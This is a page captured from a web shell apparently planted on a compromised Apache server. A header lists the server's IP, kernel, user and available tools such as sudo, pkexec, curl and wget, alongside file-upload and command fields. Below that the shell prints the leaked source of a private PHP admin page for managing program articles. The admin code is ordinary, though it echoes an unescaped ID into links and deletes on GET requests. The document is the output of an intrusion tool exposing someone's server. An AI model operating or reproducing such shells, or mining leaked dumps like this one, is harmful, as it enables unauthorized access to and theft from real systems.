403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.37
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/stagemag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/stagemag/programedit-articles.php
<?php
include 'header.php';
set_time_limit(600);

$programid = resolve_programid();
require_program_access($programid, $getuser);
?>

<style>
.feature-card { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; margin-bottom: 20px; box-shadow: 0 2px 4px rgba(0,0,0,0.08); }
.feature-card-header { background: linear-gradient(135deg, #b20223 0%, #8a011a 100%); color: #fff; padding: 12px 20px; border-radius: 7px 7px 0 0; font-size: 18px; font-weight: 600; }
.feature-card-body { padding: 20px; }
.feature-card-body p { color: #555; margin-bottom: 15px; line-height: 1.5; }
.feature-card-body label { font-weight: 600; color: #333; display: block; margin-bottom: 8px; }
.feature-card-body input[type="text"] { padding: 8px 12px; border: 1px solid #ccc; border-radius: 4px; font-size: 14px; width: 100%; max-width: 400px; }
.feature-row { margin-bottom: 15px; }
.btn-save { background-color: #b20223; color: white; border: none; padding: 10px 25px; border-radius: 4px; font-size: 14px; font-weight: 600; cursor: pointer; }
.btn-save:hover { background-color: #8a011a; }
.btn-add { color: #b20223; text-decoration: none; font-weight: 600; }
.btn-add:hover { text-decoration: underline; }
.btn-delete { color: #c00; text-decoration: none; font-size: 13px; }
.btn-delete:hover { text-decoration: underline; }
.articles-table { width: 100%; border-collapse: collapse; }
.articles-table th { background: #f5f5f5; padding: 10px 12px; text-align: left; font-weight: 600; border-bottom: 2px solid #e0e0e0; }
.articles-table td { padding: 10px 12px; border-bottom: 1px solid #eee; vertical-align: middle; }
.articles-table tr:hover { background: #fafafa; }
.articles-table img { max-width: 120px; border-radius: 4px; }
</style>

<div id="content" style="max-width: 900px;">
  <div id="content-header">
    <h2>&nbsp;Manage Articles</h2>
  </div>
  <div class="container-fluid">

<?php
// Delete
if (isset($_GET['delete'])) {
    $stmt = db_write()->prepare("DELETE FROM stagemag.articles WHERE id = ?");
    $stmt->execute([intval($_GET['delete'])]);
}

// Add
if (isset($_GET['add'])) {
    $addId = intval($_GET['add']);

    $stmt = db_write()->prepare("SELECT ordernum FROM stagemag.articles WHERE programid = ? ORDER BY ordernum DESC LIMIT 1");
    $stmt->execute([$programid]);
    $getordernum = $stmt->fetch();
    $newordernum = (!$getordernum) ? 1 : $getordernum['ordernum'] + 1;

    $stmt = db_write()->prepare("INSERT INTO stagemag.articles (programid, ordernum, colid) VALUES (?, ?, ?)");
    $stmt->execute([$programid, $newordernum, $addId]);

    header('Location: /programedit-articles.php?programid=' . urlencode($programid));
    exit;
}
?>

<div class="feature-card">
    <div class="feature-card-header">Search Articles</div>
    <div class="feature-card-body">
        <p>Search BroadwayWorld articles and click 'Add' to include them in your program.</p>
        <FORM action="programedit-articles.php?search=on&programid=<?= $programid ?>" method="post" enctype="multipart/form-data">
            <div style="display: flex; gap: 10px; align-items: center; flex-wrap: wrap;">
                <input name="searcher" type="text" placeholder="Search articles..." value="<?= htmlspecialchars($_POST['searcher'] ?? '') ?>">
                <button type="submit" name="buttadminman" class="btn-save">Search</button>
            </div>
        </form>
    </div>
</div>

<?php if (isset($_GET['search'])): ?>
<?php
$searchterm = $_POST['searcher'] ?? '';
// Include elastic search (same as original)
include '/home/banners/domains/stagemag/elastic.php';

if (isset($l_idlist) && $l_idlist !== ''):
    // Build safe IN clause
    $ids = array_map('intval', explode(',', $l_idlist));
    $placeholders = implode(',', array_fill(0, count($ids), '?'));

    $stmt = db_read()->prepare("SELECT columntable.id, columntable.title, columntable.seo_friendly, columntable.blurb, columntable.mainswapbig, dateposted
        FROM bway_bww.columntable
        WHERE columntable.id IN ($placeholders)
        AND columntable.status = 1
        AND columntable.id > 1900000
        ORDER BY columntable.dateposted DESC
        LIMIT 100");
    $stmt->execute($ids);
    $getcol = $stmt->fetchAll();
?>
<div class="feature-card">
    <div class="feature-card-header">Search Results</div>
    <div class="feature-card-body" style="padding: 0;">
        <table class="articles-table">
            <thead><tr><th>Image</th><th>Article</th><th>Date</th><th>Blurb</th><th>Action</th></tr></thead>
            <tbody>
            <?php foreach ($getcol as $row): ?>
                <tr>
                    <td><img src="<?= htmlspecialchars($row['mainswapbig']) ?>"></td>
                    <td><a href="https://www.broadwayworld.com/article/<?= htmlspecialchars($row['seo_friendly']) ?>" target="_new" style="color: #b20223;"><?= htmlspecialchars($row['title']) ?></a></td>
                    <td><?= date('n/j/y', strtotime($row['dateposted'])) ?></td>
                    <td><?= htmlspecialchars($row['blurb']) ?></td>
                    <td><a href="programedit-articles.php?add=<?= $row['id'] ?>&programid=<?= $programid ?>" class="btn-add">Add</a></td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
    </div>
</div>
<?php else: ?>
<div class="feature-card"><div class="feature-card-body"><p>No articles found matching your search.</p></div></div>
<?php endif; ?>
<?php endif; ?>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/TableDnD/1.0.4/jquery.tablednd.min.js" integrity="sha512-yWU5jqsvn25Wl+rBp0hB2gY8mtPQJypx2spvFPEsEPyReMRaiKBkgAoPrFDiBZyKJhFlj2+7Est4UKT0mS71wQ==" crossorigin="anonymous"></script>

<?php
// Sort order save
if (isset($_POST['sort_order']) && $_POST['sort_order'] !== '') {
    $sort_order = str_ireplace('section_id_', '', $_POST['sort_order']);
    $ids = explode(',', $sort_order);
    foreach ($ids as $ndx => $id) {
        $stmt = db_write()->prepare("UPDATE stagemag.articles SET ordernum = ? WHERE id = ?");
        $stmt->execute([$ndx + 1, intval($id)]);
    }
}
?>

<script type="text/javascript">
$(function(){
  $("#sortable-tbl").tableDnD();
  $('#frm-sort').submit(function(){
    var sRowOrder = "";
    $("#sortable-tbl tr").each(function(i,o){
      if (sRowOrder.length) { sRowOrder += "," + o.id; } else { sRowOrder = o.id; }
    });
    $('#sort_order').val(sRowOrder);
  });
});
</script>

<?php
$stmt = db_write()->prepare("SELECT stagemag.articles.id, colid, ordernum, title, blurb, mainswapbig
    FROM stagemag.articles
    INNER JOIN bway_bww.columntable ON stagemag.articles.colid = columntable.id
    WHERE programid = ?
    ORDER BY ordernum");
$stmt->execute([$programid]);
$getcasta = $stmt->fetchAll();

if (count($getcasta) > 0):
?>
<div class="feature-card">
    <div class="feature-card-header">Current Articles</div>
    <div class="feature-card-body" style="padding: 0;">
        <p style="padding: 15px 20px 0 20px; margin-bottom: 10px;">Click and drag to change the order.</p>
        <table id="sortable-tbl" class="articles-table">
            <?php foreach ($getcasta as $row): ?>
            <tr id="section_id_<?= $row['id'] ?>" style="cursor: move;">
                <td style="width: 30%;"><?= htmlspecialchars($row['title']) ?></td>
                <td>
                    <img src="<?= htmlspecialchars($row['mainswapbig']) ?>" style="float:right; max-width:100px; margin-left: 10px; border-radius: 4px;">
                    <?= htmlspecialchars($row['blurb']) ?>
                </td>
                <td style="width: 80px;"><a href="programedit-articles.php?delete=<?= $row['id'] ?>&programid=<?= $programid ?>" class="btn-delete" onclick="return confirm('Are you sure?');">Delete</a></td>
            </tr>
            <?php endforeach; ?>
        </table>
    </div>
</div>

<form id="frm-sort" action="/programedit-articles.php?programid=<?= $programid ?>" method="post">
    <input type="hidden" name="sort_order" id="sort_order" value="" />
    <button type="submit" name="save" class="btn-save">Save Order</button>
</form>
<?php endif; ?>

   </div>
<!--Footer-part-->
<br><br><br><br>

<?php include 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit